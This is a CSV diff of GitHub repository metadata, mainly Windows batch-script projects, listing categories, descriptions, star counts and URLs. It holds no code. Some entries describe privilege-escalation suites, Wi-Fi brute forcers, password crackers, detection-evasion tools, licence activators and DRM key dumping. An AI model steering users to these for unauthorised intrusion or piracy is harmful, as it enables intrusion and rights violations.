Tools","2020-06-14T13:41:32Z","WampServer SSL Auto Config is a Microsoft Windows batch script designed to automatically generate and configure a fully working Apache SSL / Name Based virtual host development environment.","13","Batchfile","custom-dev-tools/wampserver-ssl-auto-config","0.381","61","2026-02-02T06:22:47Z","https://github.com/custom-dev-tools/wampserver-ssl-auto-config" -"Other & Uncategorized","2021-03-02T01:08:57Z","Ativador Office 365","24","Batchfile","minigueimeiros/office-365-cmd","0.324","61","2026-04-08T12:16:34Z","https://github.com/minigueimeiros/office-365-cmd" -"Development & Scripting Tools","2021-06-11T23:13:24Z","💻 Scripts and relevant configuration to set up my Windows development box.","11","Batchfile","dend/windows-dev-box","0.361","58","2026-06-07T00:38:31Z","https://github.com/dend/windows-dev-box" -"File & Disk Utilities","2020-06-19T10:33:37Z","Bat-2-Exec - A wrapper for converting Batch files into Executables using IExpress","6","Batchfile","amakvana/Bat-2-Exec","0.342","58","2026-06-08T23:53:19Z","https://github.com/amakvana/Bat-2-Exec" -"Development & Scripting Tools","2025-07-31T18:08:22Z","Script batch (.bat) interativo para otimizar suporte técnico no Windows, automatizando reinício do sistema, limpeza de temporários, diagnóstico de rede, correção de erros comuns de impressão e ajustes de compartilhamento entre Windows 10 e 11 via PowerShell, aumentando a eficiência e reduzindo erros humanos.","19","Batchfile","AliceDzindzik/menu-do-suporte","0.379","57","2026-01-23T14:34:28Z","https://github.com/AliceDzindzik/menu-do-suporte" -"Other & Uncategorized","2019-01-02T19:33:38Z","Arquivo em lote (.bat) para otimização do Windows","15","Batchfile","AFaustini/OtimizeWindows","0.342","57","2026-06-13T15:51:43Z","https://github.com/AFaustini/OtimizeWindows" -"Development & Scripting Tools","2018-07-30T16:47:16Z","Just my rclone Windows batch scripts to backup / sync the second hard drive of my computer to pCloud (encrypted).","11","Batchfile","FoxP/rclone-backup","0.379","56","2026-04-22T09:31:16Z","https://github.com/FoxP/rclone-backup" -"Development & Scripting Tools","2018-11-22T01:36:55Z","A package manager for Windows scripts.","4","Batchfile","jahwi/bget","0.479","56","2025-10-11T19:39:30Z","https://github.com/jahwi/bget" -"Development & Scripting Tools","2024-08-29T16:04:00Z","Matject - Universal batch script made for Windows to dynamically change .material.bin files of Minecraft Bedrock Edition. With automatic backups and many more features!","5","Batchfile","faizul726/matject","0.379","56","2026-06-08T04:45:51Z","https://github.com/faizul726/matject" -"Security & Privacy Tools","2020-06-20T20:52:35Z","Batch Antivirus, a powerful antivirus suite written in batch with real-time protection and heuristical scanning.","5","Batchfile","anic17/Batch-Antivirus","0.341","56","2026-04-28T13:45:58Z","https://github.com/anic17/Batch-Antivirus" -"Development & Scripting Tools","2018-03-23T05:53:02Z","WampServer PHP CLI version changer is a Microsoft Windows batch script that allows you to easily add and then change between available WampServer PHP CLI versions using the users environment 'path' variable.","6","Batchfile","custom-dev-tools/wampserver-php-cli-version-changer","0.378","54","2026-02-26T06:20:48Z","https://github.com/custom-dev-tools/wampserver-php-cli-version-changer" -"System Tweaks & Performance Enhancements","2021-08-19T02:18:20Z","🧹 A winget bloatware removal tool made in batch","6","Batchfile","2rf/winGetDebloated","0.359","53","2026-04-26T19:14:58Z","https://github.com/2rf/winGetDebloated" -"Other & Uncategorized","2024-09-12T12:18:43Z","batch multi tool https://www.youtube.com/watch?v=x9aGS-FzONg","20","Batchfile","EbolaMan-YT/Batch-Multi-Tool","0.359","53","2026-06-12T21:32:23Z","https://github.com/EbolaMan-YT/Batch-Multi-Tool" -"Other & Uncategorized","2022-03-26T08:11:09Z","A bat installer to install adobe flash player which bypasses the date restrict","6","Batchfile","itsHenry35/Adobe-flash-player-installer","0.34","53","2026-03-18T04:16:27Z","https://github.com/itsHenry35/Adobe-flash-player-installer" -"Development & Scripting Tools","2021-07-09T16:49:13Z","This simple batch script will get rid of the annoying TJprojMain malware, which infects all your exe files to spread","15","Batchfile","skidaim/TJprojMain-explorer.exe-remover","0.358","52","2026-04-09T08:13:52Z","https://github.com/skidaim/TJprojMain-explorer.exe-remover" -"Development & Scripting Tools","2020-02-20T18:13:09Z","Winterfell is a group of windows batch scripts to collect Windows forensics data and perform efficient, and fast incident response and threat hunting activities.","11","Batchfile","yasser-alghamdi/winterfell-collection","0.477","52","2025-06-10T13:56:10Z","https://github.com/yasser-alghamdi/winterfell-collection" -"Development & Scripting Tools","2015-02-19T21:14:08Z","Collection of some Windows commandline tools/batch scripts I use on a daily-ish basis.","17","Batchfile","dfkt/win-cmd-tools","0.495","51","2024-08-22T17:40:44Z","https://github.com/dfkt/win-cmd-tools" -"Other & Uncategorized","2018-12-28T07:14:11Z","a simple bat to get battery report","10","Batchfile","ParrySMS/batteryreport","0.42","51","2025-09-24T18:20:26Z","https://github.com/ParrySMS/batteryreport" -"Development & Scripting Tools","2019-12-30T15:49:27Z","Batch script to activate Windows 10 Pro for free (requires an unlicensed installation of Windows 10).","12","Batchfile","danielj0nes/Activate-Windows10-Pro-Script","0.376","50","2026-05-30T01:07:40Z","https://github.com/danielj0nes/Activate-Windows10-Pro-Script" -"System Tweaks & Performance Enhancements","2019-04-26T17:05:32Z","This repo contains multiple scripts to optimize windows 10","4","Batchfile","tcja/Windows-10-tweaks","0.358","50","2026-06-09T12:12:46Z","https://github.com/tcja/Windows-10-tweaks" +category,created_at,description,forks,language,name,quality_score,stars,updated_at,url,"""category""" +,2019-01-13T19:58:24Z,PEASS - Privilege Escalation Awesome Scripts SUITE (with colors),3365,C#,peass-ng/PEASS-ng,0.519,19995,2026-06-15T08:59:46Z,https://github.com/peass-ng/PEASS-ng,Offensive Security & Penetration Testing +,2021-10-09T21:01:45Z,Universal MCT wrapper script for all Windows 10/11 versions from 1507 to 21H2!,3132,Batchfile,AveYo/MediaCreationTool.bat,0.738,10234,2026-06-15T10:53:30Z,https://github.com/AveYo/MediaCreationTool.bat,Development & Scripting Tools +,2020-12-09T14:57:18Z,Uninstall Microsoft Edge with an executable or batch script.,196,Batchfile,ShadowWhisperer/Remove-MS-Edge,0.738,5203,2026-06-15T04:35:52Z,https://github.com/ShadowWhisperer/Remove-MS-Edge,Development & Scripting Tools +,2013-09-02T10:45:45Z,A language that compiles to Bash and Windows Batch,168,OCaml,batsh-dev-team/Batsh,0.537,4352,2026-06-04T12:08:25Z,https://github.com/batsh-dev-team/Batsh,Development & Scripting Tools +,2025-07-09T05:55:44Z,"一键生成产品营销与泛内容短视频，AI批量自动剪辑，高颜值跨平台桌面端工具 One click generation of product marketing and general content short videos, AI batch automatic cliping, beautiful cross platform desktop tool",605,TypeScript,YILS-LIN/short-video-factory,0.537,4085,2026-06-15T11:12:05Z,https://github.com/YILS-LIN/short-video-factory,Network & Internet Tools +,2020-04-28T00:20:46Z,F2 is a cross-platform command-line tool for batch renaming files and directories quickly and safely. Written in Go!,64,Go,ayoisaiah/f2,0.537,2417,2026-06-14T09:21:34Z,https://github.com/ayoisaiah/f2,File & Disk Utilities +,2013-09-28T20:07:11Z,This Windows Batchscript helps setup a Mingw-w64 compiler environment for building ffmpeg and other media tools under Windows.,295,Shell,m-ab-s/media-autobuild_suite,0.575,1797,2026-06-15T08:21:08Z,https://github.com/m-ab-s/media-autobuild_suite,Development & Scripting Tools +,2018-11-15T05:41:47Z,Collection of batch scripts utilities for Windows,284,VBScript,abbodi1406/BatUtil,0.556,1421,2026-06-15T09:20:54Z,https://github.com/abbodi1406/BatUtil,Development & Scripting Tools +,2025-06-09T01:23:09Z,"A powerful, all-in-one Windows maintenance toolkit built entirely in Batch & PowerShell. Designed for power users, sysadmins, and curious tinkerers – now smarter, safer, and fully offline-compatible.",78,PowerShell,ios12checker/Windows-Maintenance-Tool,0.594,1324,2026-06-15T00:04:24Z,https://github.com/ios12checker/Windows-Maintenance-Tool,System Information & Diagnostics +,2014-04-18T17:53:07Z,batch script utils and examples by npocmaka -,880,Batchfile,npocmaka/batch.scripts,0.719,1132,2026-06-04T17:50:09Z,https://github.com/npocmaka/batch.scripts,Development & Scripting Tools +,2023-08-31T14:26:26Z,Pause & disable Windows updates for any duration. Remove Recall / Copilot. Debloat / privacy / telemetry tools. Supports Windows 10 and 11.,46,Batchfile,Aetherinox/pause-windows-updates,0.669,830,2026-06-14T04:45:03Z,https://github.com/Aetherinox/pause-windows-updates,System Tweaks & Performance Enhancements +,2015-02-13T03:29:15Z,Virtual machine templates for Windows written in legacy JSON and Batch Scripting/JScript,263,Ruby,boxcutter/windows,0.446,770,2026-06-14T22:06:04Z,https://github.com/boxcutter/windows,Development & Scripting Tools +Development & Scripting Tools,2015-02-13T03:29:15Z,Virtual machine templates for Windows written in legacy JSON and Batch Scripting/JScript,258,Ruby,boxcutter/windows-batch,0.445,767,2026-10-06T17:56:40Z,https://github.com/boxcutter/windows-batch, +,2022-05-24T10:06:00Z,A small Application for Windows that allows you to install the latest Version of ADB and Fastboot Files on the Computer without installing the entire Android SDK Package + Toolkit & Commands,94,Batchfile,K3V1991/ADB-and-FastbootPlusPlus,0.613,734,2026-06-15T11:04:29Z,https://github.com/K3V1991/ADB-and-FastbootPlusPlus,File & Disk Utilities +,2023-12-27T05:29:37Z,"A CMD script to crack password protected ZIP, RAR, 7z and PDF files, using JohnTheRipper.",104,Batchfile,illsk1lls/ZipRipper,0.611,730,2026-06-15T06:54:38Z,https://github.com/illsk1lls/ZipRipper,Offensive Security & Penetration Testing +,2019-01-12T07:09:53Z,"A free GUI application for HandBrake and FFmpeg/FFprobe with an emphasis on batch conversion (including recursive folder scans and folder watching) -Windows, macOS, Linux & Docker",57,HTML,HaveAGitGat/HBBatchBeast,0.419,705,2026-06-12T16:40:16Z,https://github.com/HaveAGitGat/HBBatchBeast,"Audio, Video Capture, Conversion & Playback" +,2015-11-19T13:22:01Z,Windows batch script that finds misconfiguration issues which can lead to privilege escalation.,103,PowerShell,enjoiz/Privesc,0.429,683,2026-06-13T09:51:42Z,https://github.com/enjoiz/Privesc,Offensive Security & Penetration Testing +,2021-06-18T21:14:22Z,"ET is a powerful application to improve performance, debloat, optimize and enhance privacy for Windows 10/11.",46,C#,semazurek/ET-Optimizer,0.374,592,2026-06-12T09:52:00Z,https://github.com/semazurek/ET-Optimizer,System Tweaks & Performance Enhancements +,2018-06-24T06:33:48Z,wimbuilder with new UI & new syntax (hta+bat+vbs+js),117,Batchfile,slorelee/wimbuilder2,0.532,580,2026-06-14T05:26:36Z,https://github.com/slorelee/wimbuilder2,Development & Scripting Tools +,2016-08-02T21:01:45Z,A Windows Batch script and a Unix Bash script to comprehensively collect host forensic data during incident response.,91,Batchfile,diogo-fernan/ir-rescue,0.552,489,2026-06-07T12:23:53Z,https://github.com/diogo-fernan/ir-rescue,Development & Scripting Tools +,2021-03-28T13:59:24Z,Windows,95,Batchfile,TairikuOokami/Windows,0.513,485,2026-06-11T08:32:12Z,https://github.com/TairikuOokami/Windows,Other & Uncategorized +,2015-02-24T15:00:45Z,Sets up file associations for mpv on Windows,47,Batchfile,rossy/mpv-install,0.506,468,2026-06-15T04:48:40Z,https://github.com/rossy/mpv-install,File & Disk Utilities +,2011-01-10T20:08:13Z,Port of Doug Hellmann's virtualenvwrapper to Windows batch scripts,103,Batchfile,davidmarble/virtualenvwrapper-win,0.54,459,2026-04-02T16:29:02Z,https://github.com/davidmarble/virtualenvwrapper-win,Development & Scripting Tools +,2020-07-07T18:37:01Z,"MajorGeeks Windows Tweaks contains well over 200 registry, PowerShell, Visual Basic, and batch files to enable tweaks and hidden features in Windows 10, 8, and 7 for any skill level.",36,,MajorGeek/MajorGeeks-Windows-Tweaks,0.32,410,2026-06-09T19:33:29Z,https://github.com/MajorGeek/MajorGeeks-Windows-Tweaks,System Tweaks & Performance Enhancements +,2017-04-17T11:02:55Z,"A bash script that batch installs and tweaks GNOME extensions as well as GTK/Shell themes. There are currently three options available: Unity, Windows and macOS.",39,Shell,vmavromatis/gnome-layout-manager,0.335,401,2026-06-01T11:30:38Z,https://github.com/vmavromatis/gnome-layout-manager,System Tweaks & Performance Enhancements +,2020-05-16T09:15:23Z,"This project is based upon the trick that, how to hack WI-FI with CMD. The main purpose behind, creating wifi hacking tool with cmd tool is to make everyone aware that how easy it is to break a simple password. And, motivate them to keep some complex passwords – to keep them protected against it.",191,Batchfile,TheBATeam/Batch-WI-FI-Brute-Forcer,0.467,370,2026-06-06T04:41:09Z,https://github.com/TheBATeam/Batch-WI-FI-Brute-Forcer,Offensive Security & Penetration Testing +,2024-10-24T23:08:26Z,"Block Adobe, Autodesk, Corel and other apps from the internet on Windows. Single batch script, MIT, no third-party tools.",37,Batchfile,ph33nx/WinMasterBlocker,0.513,346,2026-06-09T18:00:00Z,https://github.com/ph33nx/WinMasterBlocker,Development & Scripting Tools +,2016-11-15T20:08:47Z,A small batch script for resetting Visual Assist X's trial period.,100,Batchfile,vogeljo/reset-vassistx,0.473,339,2026-06-12T08:58:49Z,https://github.com/vogeljo/reset-vassistx,Development & Scripting Tools +,2023-11-28T21:43:39Z,"Decrypting Nintendo 3DS games and applications (.3ds, .cia)",21,Batchfile,xxmichibxx/Batch-CIA-3DS-Decryptor-Redux,0.436,339,2026-06-15T05:58:04Z,https://github.com/xxmichibxx/Batch-CIA-3DS-Decryptor-Redux,Gaming & Entertainment Tools +,2018-02-05T21:00:56Z,An open source batch script based WiFi Passview for Windows!,76,Batchfile,warengonzaga/wifi-passview,0.491,337,2026-06-11T03:35:00Z,https://github.com/warengonzaga/wifi-passview,Development & Scripting Tools +,2025-10-05T19:44:49Z,GPL-3.0 开源的 IDM Activation Script 中文版：Windows 批处理脚本，支持 IDM 试用期冻结、普通激活、重置和环境自检,22,Batchfile,tytsxai/IDM-Activation-Script-Chinese,0.472,337,2026-06-15T11:02:35Z,https://github.com/tytsxai/IDM-Activation-Script-Chinese,Development & Scripting Tools +,2025-12-01T20:43:03Z,A web-based tool that generates customized Windows post-installation batch scripts. Select from 100+ software applications and 80+ system configurations to create a personalized Windows setup script.,18,JavaScript,kaic/win-post-install,0.327,334,2026-06-11T00:46:26Z,https://github.com/kaic/win-post-install,Development & Scripting Tools +,2024-06-14T17:04:37Z,"Easily configure Microsoft Edge, the way you want it!",12,Batchfile,TheBobPony/MSEdgeTweaker,0.424,310,2026-06-14T03:24:38Z,https://github.com/TheBobPony/MSEdgeTweaker,Other & Uncategorized +,2018-03-10T20:18:32Z,"KISS batch script to easily convert PNG, GIF, BMP, SVG or JPG images to multi-resolution ICO files using ImageMagick.",31,Batchfile,FoxP/PNG-to-ICO,0.453,288,2026-06-05T06:03:10Z,https://github.com/FoxP/PNG-to-ICO,Development & Scripting Tools +,2024-04-17T14:40:06Z,a little batch file that permanently removes the Outlook (New) app from Windows 10/11,21,Batchfile,matej137/OutlookRemover,0.441,259,2026-06-10T13:12:51Z,https://github.com/matej137/OutlookRemover,File & Disk Utilities +,2023-02-05T18:19:47Z,Open Source Tweaker made to improve system performance and lower system latency.,22,Batchfile,ancel1x/Ancels-Performance-Batch,0.438,251,2026-06-05T20:57:15Z,https://github.com/ancel1x/Ancels-Performance-Batch,System Tweaks & Performance Enhancements +,2017-05-01T09:00:20Z,Various batch files for Windows,57,Batchfile,Espionage724/Windows,0.429,228,2026-06-14T05:19:46Z,https://github.com/Espionage724/Windows,File & Disk Utilities +,2023-07-28T21:26:41Z,Windows 11 Scripts,31,Batchfile,shoober420/windows11-scripts,0.422,212,2026-06-12T17:30:40Z,https://github.com/shoober420/windows11-scripts,Development & Scripting Tools +,2017-06-17T11:42:38Z,Windows batch file to perform unattended installations of a portable Cygwin environment.,42,Batchfile,vegardit/cygwin-portable-installer,0.422,211,2026-05-13T22:35:22Z,https://github.com/vegardit/cygwin-portable-installer,File & Disk Utilities +,2017-04-11T03:59:07Z,This script reset the Windows Update Components.,48,Batchfile,ManuelGil/Script-Reset-Windows-Update-Tool,0.418,201,2026-06-09T01:01:16Z,https://github.com/ManuelGil/Script-Reset-Windows-Update-Tool,Development & Scripting Tools +,2019-08-02T20:18:08Z,A Windows batch file that tries Windows activation keys found around the internet.,80,Batchfile,prestonsn/windows-10-activation-script,0.414,192,2026-05-30T01:58:01Z,https://github.com/prestonsn/windows-10-activation-script,Development & Scripting Tools +,2015-10-28T05:41:07Z,常用批处理,67,Batchfile,auspbro/batch-snippets,0.371,178,2026-02-09T15:07:04Z,https://github.com/auspbro/batch-snippets,Network & Internet Tools +,2016-07-22T15:31:39Z,Batch script to completely uninstall OneDrive in Windows 10,41,Batchfile,JaredCabot/OneDrive-Uninstaller,0.419,157,2026-05-12T14:14:13Z,https://github.com/JaredCabot/OneDrive-Uninstaller,Development & Scripting Tools +,2015-05-01T23:34:22Z,Windows SteamCMD to autoupdate and install any game server steam cmd settings configurable lots of useful features. This batch script will keep your game servers automaticly updated updating intervals announce the server is shutting down for updates etc all configurable.,30,Batchfile,C0nw0nk/SteamCMD-AutoUpdate-Any-Gameserver,0.419,157,2026-06-11T03:27:30Z,https://github.com/C0nw0nk/SteamCMD-AutoUpdate-Any-Gameserver,Development & Scripting Tools +,2018-08-24T15:01:55Z,"Batch script files for FFMPEG (Microsoft Windows and DOS, OS/2 :unicorn:)",30,Batchfile,KnightDanila/BAT_FFMPEG,0.412,139,2026-05-05T08:47:10Z,https://github.com/KnightDanila/BAT_FFMPEG,Development & Scripting Tools +,2017-05-09T13:25:06Z,"Collection of Batch scripts, examples and some details for various commands are considered.",22,Batchfile,happy05dz/Batch-Script-Collection,0.373,134,2026-06-12T17:29:03Z,https://github.com/happy05dz/Batch-Script-Collection,Development & Scripting Tools +,2020-07-28T07:13:14Z,FreakC Programming Language - an experimental Batch-like language written in Batch which compiles to Batch,10,Batchfile,FreakC-Foundation/FreakC,0.37,129,2026-04-23T22:36:58Z,https://github.com/FreakC-Foundation/FreakC,Development & Scripting Tools +,2016-05-11T02:18:46Z,Scripts and snippets from the Batchography book,59,Batchfile,PassingTheKnowledge/Batchography,0.389,128,2026-02-15T09:07:47Z,https://github.com/PassingTheKnowledge/Batchography,Development & Scripting Tools +,2023-08-14T19:44:26Z,A simple script that patches your systems hosts file to stop the Outlook desktop client from displaying ads in your inbox.,4,Batchfile,Pyenb/Outlook-desktop-ad-blocker,0.388,127,2026-06-12T23:53:05Z,https://github.com/Pyenb/Outlook-desktop-ad-blocker,Development & Scripting Tools +,2016-11-11T08:52:58Z,"A bat script to auto config Windows Server 2016 to ""Windows Desktop""",41,Batchfile,m2nlight/WindowsServerToWindowsDesktop,0.388,125,2026-05-03T03:53:52Z,https://github.com/m2nlight/WindowsServerToWindowsDesktop,Development & Scripting Tools +,2023-01-06T16:30:24Z,Batch files to quickly prepare images and train a NeRF using Instant-NGP. This project only works for Instant-NGP Binaries on Windows.,8,Batchfile,jonstephens85/instantngp-batch,0.386,122,2026-04-02T14:55:58Z,https://github.com/jonstephens85/instantngp-batch,File & Disk Utilities +,2017-01-17T18:01:17Z,"A script for windows 10 with purpose of tweaking your windows install by removing stuff like windows apps _ Cortana _ Edge, you can also tweak the personalization settings that are hidden and almost everything have a restore option",21,Batchfile,YasserDRIF/Toggle-Tweaker,0.384,116,2026-05-08T20:55:56Z,https://github.com/YasserDRIF/Toggle-Tweaker,Development & Scripting Tools +,2017-12-19T21:51:03Z,Windows Batch script to automate batch processing using mkvtoolnix.,13,Batchfile,Serede/mkvtoolnix-batch,0.421,115,2026-03-19T17:32:24Z,https://github.com/Serede/mkvtoolnix-batch,Development & Scripting Tools +,2018-05-31T15:36:41Z,Online/Offline KMS Activator for Microsoft Windows/Office/VisualStudio VL Products,39,Batchfile,gatoslu/KMS-VL-ALL-CMD,0.364,114,2026-04-07T18:00:30Z,https://github.com/gatoslu/KMS-VL-ALL-CMD,Other & Uncategorized +,2022-08-11T14:11:30Z,A minimal windows batch script that cleans your PC from temporary files.,12,Batchfile,chainski/WindowsCleanerUtility,0.401,113,2026-06-12T10:03:06Z,https://github.com/chainski/WindowsCleanerUtility,System Tweaks & Performance Enhancements +,2022-05-23T12:38:35Z,Pure ADB (Android Debug Bridge) with Batch Script to easily open a CMD Window,19,Batchfile,K3V1991/ADBKit,0.382,110,2026-06-11T19:07:53Z,https://github.com/K3V1991/ADBKit,Development & Scripting Tools +,2022-02-22T17:30:11Z,"Terabyte Tweaker is a program written in batch that allows your PC to run at better speeds, it transforms a ""Bad PC"" onto a ""Medium PC"", and turns a ""Medium PC"" into a monster.",7,Batchfile,Kawwabi/TerabyteTweaker,0.363,110,2026-06-14T14:28:10Z,https://github.com/Kawwabi/TerabyteTweaker,Other & Uncategorized +,2021-10-21T06:01:49Z,"CLI-based toolbox for Windows Subsystem for Android. Includes installation of APKs, installation of WSA, and diagnostics.",25,Batchfile,weareblahs/WSAUtilities,0.4,109,2026-05-03T08:05:20Z,https://github.com/weareblahs/WSAUtilities,System Information & Diagnostics +,2026-03-22T13:28:12Z,"Single-file Windows batch tool to fully detect, uninstall, and deep-clean all Autodesk products (2015–2026+). Achieves verified zero-remnant clean without reboot. Handles ODIS, MSI, BitRock installers. 16-point verification. Windows 10/11.",9,Batchfile,bequiet11/autodesk-complete-uninstaller,0.417,106,2026-06-13T15:09:51Z,https://github.com/bequiet11/autodesk-complete-uninstaller,File & Disk Utilities +,2020-03-14T16:38:46Z,"The open source batch file that gives efforts to boost system performance, latency, and stability.",10,Batchfile,Zusier/Zusiers-optimization-Batch,0.399,106,2026-05-30T09:54:02Z,https://github.com/Zusier/Zusiers-optimization-Batch,System Tweaks & Performance Enhancements +,2023-08-08T19:26:00Z,Batch scripts to dump L3 CDM using frida-server and wvdumper,16,Batchfile,sim0n00ps/L3-Dumping,0.378,101,2026-06-14T04:20:03Z,https://github.com/sim0n00ps/L3-Dumping,Offensive Security & Penetration Testing +,2017-05-28T08:49:27Z,在图片、压缩包和文件夹右键菜单加入MangaMeeya调用项。将bat放在MangaMeeya文件夹下运行。,9,Batchfile,gameclamp/MangaMeeyaAssociations,0.34,100,2026-06-14T11:22:30Z,https://github.com/gameclamp/MangaMeeyaAssociations,Gaming & Entertainment Tools +,2026-02-07T11:43:30Z,"Навык (Skill) для AI-агентов: сборка/разборка обработок 1С в XML, выгрузка/загрузка конфигураций и расширений пакетными командами 1С: Предприятие",11,Batchfile,vladimir-kharin/1c-batch,0.338,96,2026-06-13T17:03:00Z,https://github.com/vladimir-kharin/1c-batch,Other & Uncategorized +,2017-11-22T23:45:31Z,A free maintenance tool that can automatically or manually clean up your Windows machine in a simple and reliable way. 😉💻🧹,14,Batchfile,warengonzaga/wrn-cleaner,0.394,95,2026-04-15T02:40:35Z,https://github.com/warengonzaga/wrn-cleaner,System Tweaks & Performance Enhancements +,2022-05-29T22:36:21Z,"Batlez Tweaks is a batch tweaking script that optimizes your system to provide the best gaming experience possible. It is free and open-source, and works on Windows 10 & 11!",12,Batchfile,Batlez/Batlez-Tweaks,0.431,93,2026-06-11T00:16:55Z,https://github.com/Batlez/Batlez-Tweaks,System Tweaks & Performance Enhancements +,2018-03-22T20:33:03Z,A batch script to demonstrate complex Microsoft Office deployments,10,Batchfile,SwiftOnSecurity/OfficeDeployFramework,0.456,92,2025-05-16T00:10:06Z,https://github.com/SwiftOnSecurity/OfficeDeployFramework,Security & Privacy Tools +,2020-04-08T02:26:17Z,Run custom external application or script (batch/bash/powershell/php/python/node.js/custom) on various events within the Emby Server.,6,Batchfile,AnthonyMusgrove/Emby-ScripterX,0.374,91,2026-05-31T23:19:13Z,https://github.com/AnthonyMusgrove/Emby-ScripterX,Development & Scripting Tools +,2016-09-25T17:36:09Z,Batch file to help automate Windows enumeration for privilege escalation,36,Batchfile,azmatt/windowsEnum,0.374,91,2026-01-10T22:14:37Z,https://github.com/azmatt/windowsEnum,Offensive Security & Penetration Testing +,2019-05-22T10:24:31Z,"PDQ Deploy Scripts, Tools, Utilities ... For IT daily Administration",15,Batchfile,wizz13150/PDQ_Repo,0.392,90,2026-04-29T22:29:03Z,https://github.com/wizz13150/PDQ_Repo,Development & Scripting Tools +,2019-02-11T19:05:58Z,Windows privilege escalation with cmd,31,Batchfile,carlospolop/winPE,0.355,90,2026-05-27T16:01:57Z,https://github.com/carlospolop/winPE,Offensive Security & Penetration Testing +,2019-07-12T07:47:18Z,Batch script to compile a binary shellcode blob into an exe file,13,Batchfile,repnz/shellcode2exe,0.373,89,2026-05-18T14:00:18Z,https://github.com/repnz/shellcode2exe,Offensive Security & Penetration Testing +,2022-08-27T21:06:49Z,A simple Script capable of optimizing and repairing almost any error that may occur on your Windows computer,4,Batchfile,Ec-25/FixIt,0.372,85,2026-05-14T14:07:31Z,https://github.com/Ec-25/FixIt,Development & Scripting Tools +,2015-08-13T01:51:39Z,"Autotuner Windows 10 for awesome perfomance setting, privacy and security.",27,Batchfile,SeregaSPb/Windows-10-batch-optimizer,0.352,84,2026-06-04T04:33:59Z,https://github.com/SeregaSPb/Windows-10-batch-optimizer,System Tweaks & Performance Enhancements +,2012-06-11T18:27:09Z,Some basic batch scripts,35,Batchfile,geekcomputers/Batch,0.371,83,2026-05-26T05:36:23Z,https://github.com/geekcomputers/Batch,Development & Scripting Tools +,2022-07-14T19:32:19Z,"For educational purposes, learn how a batch script can handle emmcdl process.",22,Batchfile,HadiKhoirudin/Qualcomm-Tool,0.37,82,2026-05-20T19:36:39Z,https://github.com/HadiKhoirudin/Qualcomm-Tool,Development & Scripting Tools +,2024-10-05T12:49:38Z,"I-Espresso is a tool that enables users to generate Portable Executable (PE) files from batch scripts. Leveraging IExpress, it demonstrates how file extension spoofing can be used to evade detection.",14,Batchfile,AnonKryptiQuz/I-Espresso,0.371,82,2026-06-10T00:21:58Z,https://github.com/AnonKryptiQuz/I-Espresso,Development & Scripting Tools +,2018-02-17T09:33:21Z,Level 2B - OS unique identifiers spoof,38,Batchfile,vektort13/antiOS_batch,0.332,81,2026-05-22T04:11:50Z,https://github.com/vektort13/antiOS_batch,Other & Uncategorized +,2025-01-18T22:25:27Z,"A tool, written as a batch file, used to shift your PC's active hour configuration to prevent Windows from shutting down automatically after installing updates.",3,Batchfile,TechTank/AlwaysActiveHours,0.388,79,2026-06-12T13:46:40Z,https://github.com/TechTank/AlwaysActiveHours,File & Disk Utilities +,2019-05-10T05:54:58Z,"Combined Windows Privacy Utilities | Hosts file updater, block list manager, and more. Open source tools for Windows users, to help ensure privacy & security. Block ads, spyware domains, and other malicious activity/traffic, all through a simple interface.",4,Batchfile,bongochong/CWP-Utilities,0.387,78,2026-05-17T05:49:01Z,https://github.com/bongochong/CWP-Utilities,Security & Privacy Tools +,2024-03-12T19:55:45Z,This script is made to make usage of YT-DLP easier.,4,Batchfile,mrblomblo/yt-dlp-usage-script,0.35,77,2026-04-29T19:46:44Z,https://github.com/mrblomblo/yt-dlp-usage-script,Development & Scripting Tools +,2020-12-15T07:34:52Z,An active attack tool against Wi-Fi networks with internal CMD commands,21,Batchfile,TechnicalUserX/batch_wifi_brute_forcer,0.35,77,2026-05-06T22:29:55Z,https://github.com/TechnicalUserX/batch_wifi_brute_forcer,Offensive Security & Penetration Testing +,2020-10-19T03:18:22Z,"The following batch files are included in the archive 1) Advanced Explorer Settings — This changes more than a dozen File Explorer related settings on Windows 10 that turn of animations, enable menus, or turn off things like Toasts. 2) Disable Automatic App Updates — Turns off automatic updates for Windows Store applications. 3) Disable Automatic Windows Updates — Turns off automatic updates for the Windows 10 operating system itself. 4) Disable Cortana Completely — Rename the cortana process searchUI.exe to searchUI.bak. This will kill the process permanetly and save your ressources. 5) Disable Forced Reboot after Update — Blocks Windows from enforcing a reboot after updates that require one. 6) Disable Lockscreen — Turns off the Windows 10 lockscreen. 7) Disable Telemetry — Turns off Windows 10 Telemetry. 8) Disable Unnecessary Services — This disables the MapsBroker, DoSvc and Wsearch services 9) Enable Defender Malware Protection — Enables Windows malware Protection. 10)Enable Secure Microsoft Edge Settings — Tweaks Microsoft Edge for security. Changes include turning of Flash and Cortana, enabling continuous browsing, and more. 11)Get Back Old Vertical Desktop Icon Distance — Changes the vertical icon spacing on the desktop. 12)Hide Cortana — Disables Cortana, and with it web searches and other search related parameters. The Microsoft way of disabling Cortana. 13)Hide OneDrive — Hides OneDrive and disables several related settings. 14)Re-enable Cortana Completely — This preferences turns Cortana on again. 15)Uninstall Unnecessary Apps — Removes ten apps that Windows 10 ships with including 3D Builder, Skype App, Getting Started, or Voice Recorder. 16)Enable Administrator Account — This preference enables the hidden administrator account in Windows. 17)Enable Standby instead of Hibernate — Switch powerstate from hibernation (slow) to standby . 18)Get apps access for Administrator Account — Enable access to applications for the administrator account.",10,Batchfile,balsamleti/speedup-windows10,0.425,77,2026-04-17T11:19:46Z,https://github.com/balsamleti/speedup-windows10,System Tweaks & Performance Enhancements +,2024-01-27T16:50:37Z,"Root BlueStacks 5 with real Magisk (Kitsune) in one .cmd file, no traces. Supports the latest 5.22+ with NO downgrade — bypasses the 'illegally tampered' disk-integrity check. Android 9, 11 & 13. Open source.",9,Batchfile,Jordan231111/BluestacksRoot,0.312,75,2026-06-15T11:09:06Z,https://github.com/Jordan231111/BluestacksRoot,File & Disk Utilities +,2023-11-20T19:56:28Z,BatchASM - primitive virtual machine (high level assembly language) for executing instructions in programming language environment Windows Batch.,2,Batchfile,DosX-dev/BatchASM,0.367,74,2026-06-15T07:39:50Z,https://github.com/DosX-dev/BatchASM,Development & Scripting Tools +,2020-09-11T14:18:01Z,An executable cmd batch script that 100% Disables Windows 10 Update.,18,Batchfile,TarikSeyceri/Windows-10-Update-Disabler.bat,0.385,72,2026-03-02T23:26:24Z,https://github.com/TarikSeyceri/Windows-10-Update-Disabler.bat,Development & Scripting Tools +,2018-06-18T19:39:50Z,Simple batch files for simplifying basic usage of https://github.com/rg3/youtube-dl Windows .exe releases,18,Batchfile,edinsuta/youtube-dl-batch,0.366,72,2026-01-16T14:19:44Z,https://github.com/edinsuta/youtube-dl-batch,File & Disk 